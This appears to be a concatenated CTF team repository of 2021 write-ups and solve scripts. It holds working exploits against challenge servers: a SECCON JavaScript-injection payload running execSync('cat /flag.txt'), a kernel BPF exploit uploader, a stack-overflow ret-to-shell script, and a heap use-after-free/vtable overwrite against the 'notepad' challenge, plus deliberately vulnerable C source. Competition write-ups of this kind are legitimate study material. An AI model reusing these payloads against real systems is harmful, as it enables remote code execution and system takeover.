f.read() 26 | 27 | payload = HTML.replace(b"REPLACEME", b64encode(JS)) 28 | 29 | from cpwn import * 30 | 31 | if args.REMOTE: 32 | payload = b64encode(payload) 33 | r = remote("tridroid.2021.ctfcompetition.com", 1337) 34 | def solve_pow(): 35 | r.recvuntil("with:\n") 36 | prob = r.recvline().strip().decode().replace("<(curl -sSL https://goo.gle/kctf-pow)", "/tmp/pow.py") 37 | log.info("Trying to solve: {}".format(prob)) 38 | answer = subprocess.check_output(prob, shell=True, stderr=None).strip() 39 | log.info("Found PoW solution: {}".format(answer)) 40 | r.sendlineafter("Solution? ", answer) 41 | solve_pow() 42 | r.recvuntil("Please enter your name encoded in base64:\n") 43 | r.sendline(payload) 44 | r.interactive() 45 | exit() 46 | 47 | if args.RESTART: 48 | try: 49 | subprocess.check_call(["sh", "-c", "adb shell ps | grep com.google.ctf.pwn.tridroid | awk '{print $2}' | xargs adb shell su -0 kill"]) 50 | except: 51 | pass 52 | adb_activity("com.google.ctf.pwn.tridroid/.MainActivity") 53 | 54 | import time 55 | time.sleep(2) 56 | 57 | print(adb_broadcast("com.google.ctf.pwn.tridroid.SET_NAME", extras={ 58 | "data": b64encode(payload).decode() 59 | })) 60 | -------------------------------------------------------------------------------- /2021/pbctf 2021/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2021/pbctf 2021/.DS_Store -------------------------------------------------------------------------------- /2021/pbctf 2021/Ghostwriter.md: -------------------------------------------------------------------------------- 1 | # Ghost writer 2 | The audio file contains 275 key presses, divided by complete silence, with each unique key having a constant sound. Extract the single keystrokes by splitting the audio at the silence, and assign letters to each unique keypress. Use a substitution solver to recover the right plaintext. 3 | 4 | ```python 5 | import wave 6 | from collections import Counter 7 | 8 | wr = wave.open('output.wav') 9 | frames = wr.readframes(wr.getnframes()-1) 10 | 11 | n = frames.split(frames[:100])[1:-1] 12 | 13 | f = ' etaoinshrdlcumwfgypbvkjxqz' 14 | d = {} 15 | for i, (v, _) in enumerate(Counter(n).most_common()): 16 | d[v] = f[i] 17 | 18 | print(''.join(d[x] for x in n)) 19 | ``` 20 | 21 | Recover the right text with a [substitution solver](https://www.guballa.de/substitution-solver). 22 | ``` 23 | the day had begun on a bright note the sun finally peeled through the rain for the first time in a week and the flag is pbctf open brace mechanical keyboards are loud close brace and the birds were singing in its warmth there was no way to anticipate what was about to happen 24 | ``` 25 | The flag is `pbctf{mechanical_keyboards_are_loud}` 26 | -------------------------------------------------------------------------------- /2021/pbctf 2021/README.md: -------------------------------------------------------------------------------- 1 | # pbctf 2021 - writeup 2 | 3 | [webs writeup](https://github.com/Super-Guesser/ctf/blob/master/2021/pbctf%202021/web.md) 4 | -------------------------------------------------------------------------------- /2021/pbctf 2021/binarytree.md: -------------------------------------------------------------------------------- 1 | # Binary Tree 2 | Each input's bit, it select the xor table offset and add corresponding value to r9. With xor table offset, it xor to address 0x4000AD itself and choose next child node. 3 | We can parse this graph by traveling all nodes. 4 | 5 | ```python 6 | 7 | # how input change to bits. 8 | """ 9 | a = b"pbctf{" 10 | ll = [] 11 | for i in a: 12 | while i: 13 | ll.append(i & 1) 14 | i >>= 1 15 | """ 16 | 17 | addr = 0xAD 18 | xor_addr = 0x176 19 | sz = 0x20 20 | 21 | f = open("binarytree.elf", "rb").read() 22 | 23 | from capstone import * 24 | code = f[addr:addr + 0x20] 25 | xor_off = 0 26 | 27 | def xor_l(cd, off): 28 | xor_tbl = f[xor_addr + off: xor_addr + off + 0x20] 29 | res = [] 30 | for i, j in zip(cd, xor_tbl): 31 | res.append(i ^ j) 32 | return bytes(res) 33 | 34 | def code_to_node(code): 35 | md = Cs(CS_ARCH_X86, CS_MODE_64) 36 | l = [] 37 | for i in md.disasm(code, 0x4000AD): 38 | if i.mnemonic == "lea": 39 | l.append(int(i.op_str.split(" + ")[1][:-1], 16)) 40 | if i.mnemonic == "add": 41 | l.append(int(i.op_str.split(", ")[1], 16)) 42 | return l 43 | 44 | G = dict() 45 | 46 | q = [] 47 | def b_ga(): 48 | global q 49 | dc = dict() 50 | 51 | G[-1] = {"from":set(), "to":set()} 52 | 53 | while len(q) != 0: 54 | code, before, off, way, cost = q[0] 55 | 56 | if off not in G: 57 | G[off] = {"from":set(), "to":set()} 58 | l = code_to_node(code) 59 | G[before]["to"].add((off, way, cost)) 60 | G[off]["from"].add(before) 61 | q = q[1:] 62 | 63 | 64 | if len(l) != 0 and off not in dc: 65 | dc[off] = 1 66 | 67 | code2 = xor_l(code, l[0]) 68 | q = q + [(code2, off, l[0], 1, l[1])] 69 | 70 | code2 = xor_l(code, l[2]) 71 | q = q + [(code2, off, l[2], 0, l[3])] 72 | 73 | elif len(l) != 0 and off in dc: 74 | G[before]["to"].add((off, way, cost)) 75 | G[off]["from"].add(before) 76 | 77 | 78 | code = xor_l(code, xor_off) 79 | q.append((code, -1, 0, 0, 0)) 80 | b_ga() 81 | 82 | # saved to G 83 | ``` 84 | 85 | With this graph, we used dijkstra to find the shortest path from head to tails. 86 | `pbctf{!!finding_the_shortest_path_in_self-modifying_code!!_e74c30e30bb22a478ac513c9017f1b2608abfee7}` 87 | 88 | -------------------------------------------------------------------------------- /2021/pbctf 2021/btle.md: -------------------------------------------------------------------------------- 1 | # BTLE (misc) 2 | 3 | In this challenge we are given PCAP file with captured packets from Bluetooth communication. After lots of different approaches, we figured it out that those `Write Request` packets have a field `Offset` along with the `Value`. Thus, different write attempts were made, where one has been (potentially) overwriting the parts of the current state buffer at the recipient side. 4 | 5 | We extracted those two fields with the usage of `tshark` like `tshark -r btle.pcap -Tfields -e btatt.offset -e btatt.value "btatt.opcode == 0x16"`. Later, we just had to script it. Final flag was `pbctf{b1Ue_te3Th_is_ba4d_4_y0u_jUs7_4sk_HAr0lD_b1U3tO07h}` (Note: letter `b` from `pbctf` has been missing for whatever reason, thus, we just inserted it manually). 6 | 7 | ## solve.py 8 | 9 | ```py 10 | #!/usr/bin/env python2 11 | 12 | # tshark -r btle.pcap -Tfields -e btatt.offset -e btatt.value "btatt.opcode == 0x16" 13 | 14 | content = """ 15 | 1 316b6f5a50703972655f564a7a45555f444e6e73537635786a3851554f5774644c33666a645f6c4c4a434c5562634d633443514879416c4648 16 | 11 53737447325433564f65427a58756637766265355a5948666d675a5f455676695248364c626b67566643554b6e44 17 | 11 4c6a554c684c6b6850494c4658425233467463734f5778764b6e317072745a66643067 18 | 48 315539307a4454306d5a 19 | 16 5731476d30414e615951546c30753954566c724e7874747765565138423676 20 | 30 486f5542526167794d79364259373878 21 | 16 3643304449624964506d5f 22 | 33 4871726749744d6b5164646c445f 23 | 30 5f 24 | 1 7063544e72576f 25 | 11 78467054 26 | 33 6837783034664f34437274 27 | 50 3053703037743070 28 | 11 696533 29 | 16 7551595f4937677835 30 | 16 5f4a 31 | 17 6973 32 | 20 626175525736 33 | 22 44385f 34 | 35 6251433272327a68306c 35 | 50 6b654f 36 | 3 74317a5567 37 | 55 687d71 38 | 35 67757734514874 39 | 41 7272 40 | 50 3374 41 | 4 667b6a7445 42 | 31 6a 43 | 6 6f31 44 | 6 62 45 | 50 33 46 | 57 0a 47 | 35 5f534541 48 | 27 79 49 | 25 34 50 | 22 34 51 | 41 41 52 | 11 74 53 | 23 64 54 | 8 55 55 | 33 73 56 | 36 34736970 57 | 38 6b 58 | 39 5f 59 | """.strip() 60 | 61 | result = [" "] * 100 62 | 63 | for line in content.split("\n"): 64 | index, content = line.split("\t") 65 | index = int(index) 66 | content = content.decode("hex") 67 | for char in content: 68 | result[index] = char 69 | index += 1 70 | 71 | print "".join(result).strip() 72 | ``` 73 | -------------------------------------------------------------------------------- /2021/pbctf 2021/cosmo.md: -------------------------------------------------------------------------------- 1 | # Cosmo (rev) 2 | 3 | This was a fun challenge. Given executable seems to be runnable on multiple architectures. Though, to make it easier to analyze, we needed the Linux version. Have run the executable once, spotted that the executable has been modified to pure ELF, though, with wrong architecture (FreeBSD), making it impossible to run it with `gdb`. Used `elfedit --output-osabi Linux hello.com` to correct that. 4 | 5 | Once able to debug it, spotted at location `0x4030c4` a main comparison mechanism, checking expected "checksum" alike values for 2-per-2 bytes of flag, with a table located at `0x40c000`. Now, there was an option to either reverse the function and rewrite it in python (e.g. for z3 solving), or to play dumb and brute it. We chose the second approach, at least in a "smart dumb" way. Used parallel cracking of 2-per-2 character combinations by abusing the `gdb` scripting. Solving script (used in parallel run) has been used, where once the current pair has been found, all instances have been killed and the `known` variable has been updated accordingly. Final flag has been `pbctf{acKshuaLLy_p0rtable_3x3cutAbLe?}`. 6 | 7 | ## solve.py 8 | 9 | ```py 10 | #!/usr/bin/env python3 11 | 12 | import beepy 13 | import itertools 14 | import os 15 | import random 16 | import re 17 | import string 18 | import subprocess 19 | 20 | ALPHABET = string.ascii_lowercase + string.ascii_uppercase + string.digits + '{_}' 21 | 22 | def shell(cmd): 23 | content = "" 24 | 25 | try: 26 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 27 | content, _ = process.communicate() 28 | except Exception as ex: 29 | content = str(ex) 30 | 31 | return content or "" 32 | 33 | gdb = """ 34 | file ./hello 35 | b *0x4030cc 36 | r %s 37 | %k 38 | p $eflags 39 | p $rdi 40 | quit 41 | """ 42 | 43 | script = "/var/run/shm/%s.gdb" % os.getpid() 44 | known = "" 45 | while len(known) < 38: 46 | combinations = ["".join(_) for _ in itertools.product(ALPHABET, repeat=2)] 47 | random.shuffle(combinations) 48 | for combination in combinations: 49 | combination = "".join(combination) 50 | candidate = "%s%s" % (known, combination) 51 | candidate += "_" * (38 - len(candidate)) 52 | open(script, "w+").write(gdb.replace("%s", candidate).replace("%k", "c\n" * (len(known) // 2))) 53 | result = shell("gdb -x %s" % script).decode() 54 | flags = re.search(r"\$1 = (.+)", result).group(1) 55 | rdi = re.search(r"\$2 = (.+)", result).group(1) 56 | if "ZF" in flags: 57 | print("[o] %s: %s" % (candidate, rdi)) 58 | beepy.beep(sound=1) 59 | known += combination 60 | break 61 | else: 62 | print("[i] %s: %s" % (candidate, rdi)) 63 | ``` 64 | 65 | -------------------------------------------------------------------------------- /2021/pbctf 2021/is_that_your_packet.md: -------------------------------------------------------------------------------- 1 | # Is that your packet? (misc) 2 | 3 | This challenge was quite "challenging". By just listening to the given `sus.flac`, we were sure that it was a FSK - most possibly the 1200 baud rate, because of its common usage. By experimenting with different programs, we succeeded in extracting the following text with the usage of `multimon-ng`: 4 | 5 | ``` 6 | $ sox -v 0.97 -t wav sus.wav -esigned-integer -b16 -r 22050 -t raw sus.raw # sus.wav is a mono channel from sus.flac 7 | $ multimon-ng -q -t raw -a AFSK1200 sus.raw | grep -v AFSK1200 8 | RMS Packet. Visit www.sc4arc.org for information. 9 | [WL2K-5.0-B2FWIHJM$] 10 | ;PQ: 05422286 11 | CMS via W6SCF > 12 | ;PM: W6ELA PRJYZ2QE1NTD 536 wsmith9752548@gmail.com So what is this? 13 | FC EM PRJYZ2QE1NTD 702 536 0 14 | F> 53 15 | ..So what is this?.0...........z.mgs................@>8X7{.....-]j.Tx...ki..~.4.w.m.!....l>.x|.%(x.........=!.&..k....sb....}... 16 | ..0...\...N....Y..~z.\H......d......z.....\..B..Jyx..#.0...2..'....K.#.E.bf._.L.IA.....q....G~(.....O..b.o._..!Q....3.........6. 17 | .6>.~@......T..e.....9x..1.1........-...?]..u...w..*.. 18 | `l.... 19 | .Ev.KJ.........Q.."._T.v.N)..V....H..f..w.7*...a......gC.f........ 20 | ...>...s.....`X.(^.6....sh...O......'..=}!y7q.m+s.FA..&{..z/......9*..S....D.'y..&.tb._...X<5V....A.X....VM..T..s..((.i....e... 21 | $Rr....E..m|..$.M(N..I./..j^.WW....w...=...(].N.....} 22 | FQ 23 | ``` 24 | 25 | After short Google search, we found that this was a capture of RMS/Winlink transmission, where it was not obvious how to decode it. By installing different programs, most promising "combo" seemed to be `Winlink Express` in combination with `Soundmodem`. After hours and hours of a struggle, we figured out that it was not feasible to do it that way, or maybe we did something wrong. While `Winlink Express` expected the two-way communication (while we have only a sound recording of a single way), another problem was that the `Winlink Express` doesn't like the usage of arbitrary receiver station code. 26 | 27 | Thus, we had to do some more "dirty" work. We had to modify the source code of `multimon-ng` to be able to get the binary data in a non-dotted form (e.g. hexadecimal). Additionally, we did a research on the format, and found out that custom compression algorithm is used in Winlink, called `lzhuf`. We found a usable implementation at https://web.archive.org/web/20210126231515/https://people.cs.umu.se/isak/Snippets/lzhuf.c. Now, after lots and lots of try-outs, it was obvious that we are missing some pieces of the puzzle, as there are some frame-alike bytes, making the whole decompression quite problematic. 28 | 29 | To find the problematic bytes, we used the following approach. We assumed that those extra "frame" bytes are 1-2 bytes long, and that they are somewhere inside the binary data we already have. Thus, we manually tried to remove pairs of bytes at arbitrary places, and compared to the existing data we already had. If it appeared as better, then we were sure that we had hit the "sweet" spot. At the end, with this approach, we removed two places with those problematic bytes, resulting with the script given at the end (Note: places with multiple places have are actually those manually found and removed frame bytes, while the `lzhuf` is the compiled version of the previously mentioned `lzhuf.c`). 30 | 31 | Final message has been: 32 | 33 | ``` 34 | MID: PRJYZ2QE1NTD 35 | Date: 2021/09/29 04:21 36 | From: SMTP:wsmith9752548@gmail.com 37 | To: W6ELA 38 | Subject: So what is this? 39 | Mbo: SMTP 40 | Body: 561 41 | Yes, there is a worldwide system out there that can be used for sending 42 | email over radio waves called "Winlink". A bit old school but hey, it 43 | actually works great. Iridium and other satellite technologies have 44 | replaced it to a large extent with the sailing crowd who used 45 | to be a big user group, but it is still there. 46 | ... and in case of emergency, nothing beats HF or VHF, if you are a HAM 47 | radio operator. 48 | Glad you made it all the way here and maybe learned something new today. 49 | Here is what you came for: cGJjdGZ7OTA4MjNqc2RnaGtfODAxM2tzNzIzNH0= 50 | ``` 51 | 52 | Thus, the flag `pbctf{90823jsdghk_8013ks7234}` was the Base64 decoded form of the message found at the end (`cGJjdGZ7OTA4MjNqc2RnaGtfODAxM2tzNzIzNH0=`). 53 | 54 | ## solve.py 55 | 56 | ```py 57 | #!/usr/bin/env python2 58 | 59 | import subprocess 60 | 61 | def shell(cmd): 62 | content = "" 63 | 64 | try: 65 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 66 | content, _ = process.communicate() 67 | except Exception as ex: 68 | content = str(ex) 69 | 70 | return content or "" 71 | 72 | _content = """be020000ecf57a1c6d6773bdd6f2f9b7ddde8ef7b5e0c3cce5acfb403e3858377bca971bbaee2d5d6aaa547814a6a36b69d2ff7eff34aa77f16db02103ffcefd6c3e92787c192528789ccf9c1b199fc6ebdf3d21bc26ed9f6bc7c2b9ec7362c49c01f77dabe31bdc06309a9b985cf9b5d34ea0a9c9fe59e8af7e7a135c488491e71ff00564a9e09013ebad7a8dbee1808d5cf8cd42c7844a7978e68523143081aa8c32029127f3be01f44b12230145186266105fc84c9a49418bfcf3e8fd71ebadfa03477e28bff9bfa1824fc30062816ff05ffe0c2151ba0c92bd33e4e7198ddc06ceed9736f4 73 | 74 | 75 | 1f 36 3e e3 7e 40 ee a1 ca 1c c1 f9 54 ee fa 65 89 19 f4 39 78 cb ef 31 90 31 9f be 00 05 da f1 f9 10 2d c5 eb 07 3f 5dbebf75a4edfe77ab112af39c0d606cdbdbaafb0dde4576dd4b4aebaa8b0befe1b9c3c951bffe22b85f54fa76884e29efae568ac7de994883fa669dde77b2372a9ab08a6116aeb98ca89167439f66f4a2da98b2b7d9c1 76 | 77 | 8f 9d 17 3e ae a9 ef 73 b0 c9 0a a5 bb 60 58 b2 28 5e 93 36 dc be 15 06 73 68 94 b4 ef 4f 05 9c 0b e1 17 87 27 94 05 3d 7d 21 79 37 71 bc 6d 2b 73 b6 46 41 13 09 26 7b 0b ad 7a 2f cbd9f6b0d29f392aea1453b304c6c544df2779df8426ca7462a85fa2d1ac7f583c3556ef8ed4b9 41 d5 58 f3 be 8e b2 56 4d f3 8a 54 da 16 73 d2 db 28 28 1d 69 88 bb be ab 65 b8 e6 9f 78 | 79 | 245272f48da2ff459eb8 6d 7c ca f8 4d 28 4e d6 ea 49 8b 2f 1f 01 6a 5e 1e 57 57 1b 1a b5 c2 77 b0 c6 aa 3d e6 0a 83 28 5d 1a 4e fe 15 a6 80 04 7d""".replace("\n", "").replace(" ", "").decode("hex") 80 | 81 | open("file1", "w+b").write(_content) 82 | shell("./lzhuf d file1 file2") 83 | result = shell("strings file2") 84 | print(result) 85 | ``` 86 | -------------------------------------------------------------------------------- /2021/pbctf 2021/switching.md: -------------------------------------------------------------------------------- 1 | # switching 2 | We can disassemble this pyc with python 3.10. 3 | ```python 4 | import dis 5 | import marshal 6 | 7 | with open('challenge.cpython-310.pyc', 'rb') as f: 8 | f.seek(16) 9 | code = marshal.load(f) 10 | ``` 11 | 12 | Sorry to author, but I didn't fully analyzed this because of lazyness. 13 | ``` 14 | BBB = bytes(e ^ 1337 for e in (1385, 1403, 1402, 1389, 1407)) 15 | BBBBBB = hashlib.md5 16 | l = input("flag? ") 17 | BBBB = lambda x: hashlib.md5(x).hexdigest() 18 | BBBBB = list(l) 19 | BB = {} 20 | BBBBBBB = -1 21 | 22 | while BBBBB: 23 | t = BBBBB.pop(0) 24 | if not (isinstance(t, list) and len(t) >= 7): 25 | break 26 | ...? 27 | if x == 1: 28 | if BBBB(BBB * x)[x] == y: 29 | BB[x] = y 30 | if len(BB) == 0: 31 | correct 32 | ``` 33 | B is blank character. BB should empty so we can try guessing for this. 34 | ``` 35 | for i in range(n): 36 | if hashlib.md5(b"PBCTF" * i).hexdigest()[i] != flag[i]: 37 | wrong 38 | correct 39 | ``` 40 | and solver for this is, 41 | ```python 42 | v = b"PBCTF" 43 | flag = "pbctf{" 44 | 45 | import hashlib 46 | for i in range(32): 47 | flag += hashlib.md5(v * i).hexdigest()[i] 48 | 49 | print(flag + "}") 50 | ``` 51 | `pbctf{dece0227383ca2ac793545ee989ce386}` 52 | 53 | -------------------------------------------------------------------------------- /2021/seccon 2021/saas1.md: -------------------------------------------------------------------------------- 1 | ## Sequence as a Service 1 2 | 3 | 4 | #### payload 5 | ``` 6 | http://sequence-as-a-service-1.quals.seccon.jp:3000/api/getValue?n=6&sequence=(a,b)=>(a("%2b","1\\",",11)%2bglobal.process.mainModule.require('child_process').execSync('cat /flag.txt')}))//")) 7 | ``` 8 | 9 | #### analyze 10 | 11 | ```javascript 12 | function LJSON_application(binders,scope){ 13 | return function(){ 14 | var fn = LJSON_variable(binders,scope)(); 15 | if (fn === null) 16 | return null; 17 | 18 | var calls = P.many(P.between( 19 | P.sequence([P.skipSpaces,P.chr("(")]), 20 | P.intercalatedSpaced(LJSON_value(binders,scope), P.chr(",")), 21 | P.sequence([P.chr(")"),P.skipSpaces])))(); 22 | 23 | return fn + calls.map(function(args){ 24 | return "("+args.join(",")+")"; 25 | }).join(""); 26 | }; 27 | }; 28 | ``` 29 | Our input is finally returned through the LJSON_application function. 30 | 31 | ```javascript 32 | calls.map(function(args){ 33 | return "("+args.join(",")+")"; 34 | }).join(""); 35 | ``` 36 | Our input is parsed by LJSON parser and stored in an array in calls 37 | But we can see that there is no filtering for our input. 38 | So we can use the backslash to escape the quote and insert any code. 39 | 40 | ![image](https://user-images.githubusercontent.com/46442697/145703555-78949c27-e9e0-4184-8808-8249d1d3863e.png) 41 | 42 | -------------------------------------------------------------------------------- /2021/uiuctf/kernel/bpf_badjmp/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | gcc -E exploit.c | musl-gcc -static -o exploit -xc - && gzip exploit 3 | -------------------------------------------------------------------------------- /2021/uiuctf/kernel/bpf_badjmp/send.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from subprocess import check_output 3 | 4 | def solve_pow(): 5 | if "proof-of-work: enabled" not in str(p.recvline(), 'utf-8'): 6 | return 7 | print(p.recvline()) 8 | p.recvline() 9 | cmd = "/bin/bash -c '{}'".format(str(p.recvline(), 'utf-8').strip()) 10 | log.info("Solve {}".format(cmd)) 11 | answer = check_output(cmd, shell=True).strip() 12 | log.info("Found PoW solution: {}".format(answer)) 13 | p.sendlineafter("Solution? ", answer) 14 | 15 | def send_command(cmd, print_cmd = True, print_resp = False): 16 | if print_cmd: 17 | log.info(cmd) 18 | 19 | p.sendlineafter("$", cmd) 20 | resp = p.recvuntil("$") 21 | 22 | if print_resp: 23 | log.info(resp) 24 | 25 | p.unrecv("$") 26 | return resp 27 | 28 | def send_file(name): 29 | file = read(name) 30 | f = b64e(file) 31 | 32 | 33 | send_command("touch /tmp/a.gz.b64") 34 | size = 800 35 | for i in range(len(f)//size + 1): 36 | log.info("Sending chunk {}/{}".format(i, len(f)//size)) 37 | send_command("echo -n '{}'>>/tmp/a.gz.b64".format(f[i*size:(i+1)*size]), False) 38 | 39 | send_command("cat /tmp/a.gz.b64 | base64 -d > /tmp/a.gz") 40 | send_command("gzip -d /tmp/a.gz") 41 | send_command("chmod +x /tmp/a") 42 | send_command("mv /tmp/a /tmp/exploit") 43 | send_command("/tmp/exploit $(cat /proc/kallsyms | grep uiuctf | awk '{print $1}')") 44 | p.recvuntil("uiuctf{") 45 | flag = str(p.recvuntil("}", drop=True), "utf-8") 46 | print("Flag: uiuctf{{{}}}".format(flag)) 47 | 48 | def exploit(): 49 | send_file("exploit.gz") 50 | 51 | if __name__ == "__main__": 52 | 53 | #context.log_level = 'debug' 54 | #p = remote("your_server", 10101) 55 | p = remote("bpf-badjmp.chal.uiuc.tf", 1337) 56 | solve_pow() 57 | p.newline = b'\r\n' 58 | exploit() 59 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/babyrarf/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | ENV USER babyrarf 3 | RUN useradd $USER 4 | 5 | COPY flag.txt /home/$USER/flag.txt 6 | COPY babyrarf /home/$USER/babyrarf 7 | 8 | RUN chown -R root:$USER /home/$USER 9 | RUN chmod -R 555 /home/$USER 10 | EXPOSE 1337 11 | RUN apt-get update 12 | RUN apt-get install -y xinetd 13 | COPY $USER.xinetd /etc/xinetd.d/$USER 14 | 15 | CMD service xinetd start && sleep 2 && tail -f /var/log/xinetdlog 16 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/babyrarf/babyrarf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2021/union-ctf/pwn/babyrarf/babyrarf -------------------------------------------------------------------------------- /2021/union-ctf/pwn/babyrarf/babyrarf.xinetd: -------------------------------------------------------------------------------- 1 | service babyrarf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | log_type = FILE /var/log/xinetdlog 8 | log_on_success = HOST PID EXIT DURATION 9 | log_on_failure = HOST 10 | user = babyrarf 11 | bind = 0.0.0.0 12 | server = /home/babyrarf/babyrarf 13 | type = UNLISTED 14 | port = 1337 15 | per_source = 2 16 | } 17 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/babyrarf/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | p = remote("35.204.144.114", 1337) 6 | elf = ELF("./babyrarf") 7 | 8 | p.sendlineafter("name?\n\n", "A"*8) 9 | 10 | for _ in range(10): 11 | p.sendlineafter("cr0wn\n\n", "5") 12 | 13 | p.sendlineafter("cr0wn\n\n", "4") 14 | 15 | p.recvuntil("attack ") 16 | 17 | leak = int(p.recvline(), 10) 18 | elf.address = leak - 0x14d0 19 | 20 | log.info("PIE leak: " + hex(leak)) 21 | log.info("PIE base: " + hex(elf.address)) 22 | 23 | payload = b"A"*40 24 | payload += p64(elf.sym["get_shell"]) 25 | 26 | p.sendline(payload) 27 | 28 | p.interactive() 29 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/babyrarf/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | typedef struct attack { 7 | uint64_t id; 8 | uint64_t dmg; 9 | } attack; 10 | 11 | typedef struct character { 12 | char name[10]; 13 | int health; 14 | } character; 15 | 16 | uint8_t score; 17 | 18 | int read_int(){ 19 | char buf[10]; 20 | fgets(buf, 10, stdin); 21 | return atoi(buf); 22 | } 23 | 24 | void get_shell(){ 25 | execve("/bin/sh", NULL, NULL); 26 | } 27 | 28 | attack choose_attack(){ 29 | attack a; 30 | int id; 31 | puts("Choose an attack:\n"); 32 | puts("1. Knife\n"); 33 | puts("2. A bigger knife\n"); 34 | puts("3. Her Majesty's knife\n"); 35 | puts("4. A cr0wn\n"); 36 | id = read_int(); 37 | if (id == 1){ 38 | a.id = 1; 39 | a.dmg = 10; 40 | } 41 | else if (id == 2){ 42 | a.id = 2; 43 | a.dmg = 20; 44 | } 45 | else if (id == 3){ 46 | a.id = 3; 47 | a.dmg = 30; 48 | } 49 | else if (id == 4){ 50 | if (score == 0){ 51 | puts("l0zers don't get cr0wns\n"); 52 | } 53 | else{ 54 | a.id = 4; 55 | a.dmg = 40; 56 | } 57 | } 58 | else{ 59 | puts("Please select a valid attack next time\n"); 60 | a.id = 0; 61 | a.dmg = 0; 62 | } 63 | return a; 64 | } 65 | 66 | int main(){ 67 | character player = { .health = 100}; 68 | character boss = { .health = 100, .name = "boss"}; 69 | attack a; 70 | int dmg; 71 | 72 | setvbuf(stdin, NULL, _IONBF, 0); 73 | setvbuf(stdout, NULL, _IONBF, 0); 74 | srand(0); 75 | 76 | puts("You are fighting the rarf boss!\n"); 77 | puts("What is your name?\n"); 78 | fgets(player.name, 10, stdin); 79 | 80 | score = 10; 81 | 82 | while (score < 100){ 83 | a = choose_attack(); 84 | printf("You choose attack %llu\n", a.id); 85 | printf("You deal %llu dmg\n", a.dmg); 86 | boss.health -= a.dmg; 87 | dmg = rand() % 100; 88 | printf("The boss deals %llu dmg\n", dmg); 89 | player.health -= dmg; 90 | if (player.health > boss.health){ 91 | puts("You won!\n"); 92 | score += 1; 93 | } 94 | else{ 95 | puts("You lost!\n"); 96 | score -= 1; 97 | } 98 | player.health = 100; 99 | boss.health = 100; 100 | } 101 | 102 | puts("Congratulations! You may now declare yourself the winner:\n"); 103 | fgets(player.name, 48, stdin); 104 | return 0; 105 | } -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | ENV USER notepad 3 | RUN useradd $USER 4 | 5 | COPY flag.txt /home/$USER/flag.txt 6 | COPY notepad /home/$USER/notepad 7 | 8 | RUN chown -R root:$USER /home/$USER 9 | RUN chmod -R 555 /home/$USER 10 | EXPOSE 1337 11 | RUN apt-get update 12 | RUN apt-get install -y xinetd 13 | COPY $USER.xinetd /etc/xinetd.d/$USER 14 | 15 | CMD service xinetd start && sleep 2 && tail -f /var/log/xinetdlog 16 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/README.md: -------------------------------------------------------------------------------- 1 | Brief writeup can be found here: https://gist.github.com/farazsth98/19cc2268311e248502168b1eb52502f9 2 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | elf = ELF("./notepad") 6 | libc = ELF("./libc.so.6") 7 | p = process("./notepad") 8 | #p = remote("35.205.119.236", 1337) 9 | 10 | def add_note(name, content): 11 | p.sendlineafter("> ", "1") 12 | p.sendlineafter("Name: \n", name) 13 | p.sendlineafter("Content: \n", content) 14 | 15 | def find_note(name): 16 | p.sendlineafter("> ", "2") 17 | p.sendlineafter("term: \n", str(name)) 18 | 19 | def handle_note(): 20 | p.sendlineafter("> ", "3") 21 | 22 | def main_menu(): 23 | p.sendlineafter("> ", "4") 24 | 25 | def edit_note(name, content): 26 | p.sendlineafter("> ", "2") 27 | p.sendlineafter("Name: \n", name) 28 | p.sendlineafter("Content: \n", content) 29 | 30 | def lock_note(key, keysize): 31 | p.sendlineafter("> ", "3") 32 | p.sendlineafter("Key: \n", str(key)) 33 | p.sendlineafter("Key size: \n", str(keysize)) 34 | 35 | def view_note(): 36 | p.sendlineafter("> ", "1") 37 | 38 | # Create 20 notes, we want a handle to the first few notes so make them unique 39 | add_note("A"*0x100, "A"*0x100) 40 | add_note("B"*0x100, "B"*0x100) 41 | add_note("C"*0x100, "C"*0x100) 42 | add_note("D"*0x100, "D"*0x100) 43 | add_note("E"*0x100, "E"*0x100) 44 | add_note("F"*0x100, "F"*0x100) 45 | 46 | for i in range(14): 47 | add_note("G"*0x100, "G"*0x100) 48 | 49 | # Get a pointer to the 2nd note 50 | find_note("B"*0x100) 51 | 52 | # Add a 21st note, this will free the vector backing store 53 | add_note("L"*0x100, "L"*0x100) 54 | 55 | # We still have a pointer to the old 2nd note, so now we just set the 2nd 56 | # note's ptr's vtable so we can call fgets with |lockNote|. |lockNote| is at 57 | # vtable+0x18, and |fgets@GOT| is at 0x409170 58 | add_note(b"Z"*0x18 + b"\x58\x91\x40", "B"*0x100) 59 | 60 | # Clear unsorted bin, otherwise we will be overwriting the fd and bk ptrs 61 | # when we call |fgets|, which will cause malloc errors later on 62 | add_note(b"D"*0x2f0, "B"*0x240) 63 | 64 | # Read in 0x48 bytes with the fgets by calling |lockNote|. This will overwrite 65 | # that old 2nd note. 66 | # 67 | # fgets(currentNote_, 0x48, 0x409210) 68 | handle_note() 69 | lock_note(b"\x48", 0x409210) 70 | 71 | note_vtable = 0x0000000000408dc0 72 | fgets_got = elf.got["fgets"] 73 | strlen_got = elf.got["strlen"] 74 | 75 | # With the overwrite, I restore the original vtable, and set both the |name_| 76 | # and |content_| 